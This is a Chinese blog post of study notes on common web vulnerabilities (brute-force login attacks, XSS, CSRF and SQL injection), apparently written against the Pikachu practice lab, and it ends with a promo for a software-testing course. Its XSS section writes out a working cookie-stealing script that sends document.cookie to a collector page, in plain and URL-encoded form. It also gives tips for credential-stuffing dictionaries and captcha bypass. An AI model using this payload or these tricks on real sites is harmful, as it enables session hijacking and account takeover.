常见的Web漏洞分析(上)

约定不等于承诺〃 2023-09-26 21:03 215阅读 0赞

暴力破解攻击

概述

不断地去试用户名和密码,直到试出来。

字典

1.常见的弱口令;

2.互联网上被脱裤后的账号密码(撞库),人们为了方便记忆很多网站使用相同的账号密码;

3.指定字符利用工具生成专属字典,已知某妹子的姓名手机号爱好等生产专属子字典。

产生条件

是否要求用户设置复杂密码;

是否每次认证使用安全的验证码;

是否对尝试登录的行为进行判断限制(例如五次输错暂停登录30分钟);

是否在必要的情况下采用了双因素认证(例如不光验证账号密码,还验证登录设备)。

测试流程

1.确认登录接口的脆弱性;

2.对字典进行优化;

3.工具自动化操作。

技巧:

1.试注册确认账号密码的要求(例如长度6位以上不允许出现数字);

2.管理员后台密码admin/administrator/root几率高。

常见场景

1.前端验证验证码

2.后台验证验证码

  • 验证码使用后没有被丢弃
  • 后台没有验证
  • 后台验证码参数为空,始终验证正确

3.token防验证码

后台生成token,会直接写在前端,编写脚本获取token,一起提交。

XSS(跨站脚本漏洞)

产生原理

2e4012e48f04f9ca3cd28ea6ce274aa1.png

攻击者在存在XXS漏洞的网站写入脚本,用户访问XXS页面返回带有恶意JS的页面,触发脚本,执行脚本发送窃取数据到攻击者指定的端口,攻击者伪造用户登录。

主要原因:

对输入和输出的控制不够严格,导致精心构造的脚本在输入后,在输到前端时被浏览器当作有效代码执行。

测试流程

1.输入特殊字符 ‘“<>?&

tips:输入长度限制,改前端代码

2.成功后输入payload

常见类型

1.存储型

特点:存在数据库,永久存储

易发情况:留言板,注册

2.反射型

特点:一次性

易发情况:查询页面

get 带有XSS的URL伪装后发送给目标。

  1. <script>document.location='http://127.0.0.1:8080/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>'</script>http://127.0.0.1:8080/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F127.0.0.1%3A8080%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E%27%3C%2Fscript%3E&submit=submit

post 制作另一个网页向C2发送数据。

3.DOM型

特点:不与后台服务器产生数据交互,DOM操作前端代码输出产生,属于反射型构造前端闭合。

防范措施

输入做过滤,输出做转义。

CSRF(跨站请求伪造)

概述

攻击者伪造一个请求,欺骗用户点击,用户一旦点击,在自己的登录态下发送请求,攻击完成,故CSRF也称“one click”攻击。

攻击完成满足的条件:

1.网站没有对个人信息修改进行防CSRF处理,导致请求易被伪造;

2.lucy登录了后台的情况下,点击了攻击者的链接,lucy不在登录态,或者不点链接均不会成功。

与XSS的区别:

CSRF借用户权限完成攻击,XSS直接盗取用户的权限。

测试流程

抓包观察是否加验证码/token。

get/post 漏洞演示

get:明文传参
post:借助另一台服务器上的网页发送post请求

Anti CSRF token

token随机数防御CSRF攻击。

防范措施

请求容易被伪造,加token验证。

SQL注入

闭合测试,构造合法SQL,欺骗后台执行。

SQL Inject漏洞原理概述

没有对用户输入的内容进行限制。

045f303d83577c59eed10a280e4f40dc.png

如何判断注入点类型及常见注入类型讲解:

  • 数字型
  • 字符型
  • 搜索型

注入方式get&post的区别

手工测试

SQL Inject漏洞手T测试:基于union联合查询的信息获取( select );
SQL Inject漏洞手工测试:基于报错的信息获取(select/delete/update/insert);

SQL Inject漏洞手工测试:操作系统权限获取。

盲注

对错误的信息屏蔽,或者使用标准方式输出:
1.没有报错信息

2.不管输入正确还是错误,都只显示两种情况

3.正确输入下,输入and 1=1/and 1=2发现可以判:

  • SQL注入漏洞-盲注( boolian base )原理及测试
  • SQL注入漏洞-盲注( time base )原理及测试

最后: 下方这份完整的软件测试视频学习教程已经整理上传完成,朋友们如果需要可以自行免费领取【保证100%免费】

在这里插入图片描述

这些资料,对于【软件测试】的朋友来说应该是最全面最完整的备战仓库,这个仓库也陪伴上万个测试工程师们走过最艰难的路程,希望也能帮助到你!

软件测试面试文档

我们学习必然是为了找到高薪的工作,下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料,并且有字节大佬给出了权威的解答,刷完这一套面试资料相信大家都能找到满意的工作。

f8abc45389bb5199f6ae147f1ac29ce3.png

面试文档获取方式:

09491d2ee1d541918489b0327ab0e29e.gif

发表评论

表情:
评论列表 (有 0 条评论,215人围观)

还没有评论,来说两句吧...

相关阅读

    相关 20190916常见漏洞分析总结

    1. 越权漏洞 * 越权:即执行没有相应权限的操作,出现越权漏洞的主要原因是,在服务端对用户提交的请求,没有校验用户的身份或者权限导致。 * 越权根据权限操作...

    相关 常见Web漏洞

    前言         经常听大家提起漏洞,其实漏洞分很多种,今天我来介绍一下常见的Web漏洞有哪些吧。 -------------------- 1、SQL注入漏洞

    相关 识别常见Web漏洞

        本周有个需求,临时做了下web端的工作,通过get传参数,考虑了xss漏洞,做了限制,可惜忘记做了INFO漏洞检查,没有对参数进行强制转化为自己需要的类型,被扫描出来了

    相关 常见Web安全漏洞

    [常见Web安全漏洞][Web] 1.web安全常见攻击手段     xss  sql注入  防盗链  csrf  上传漏洞 2. 信息加密与漏洞扫描   对称加密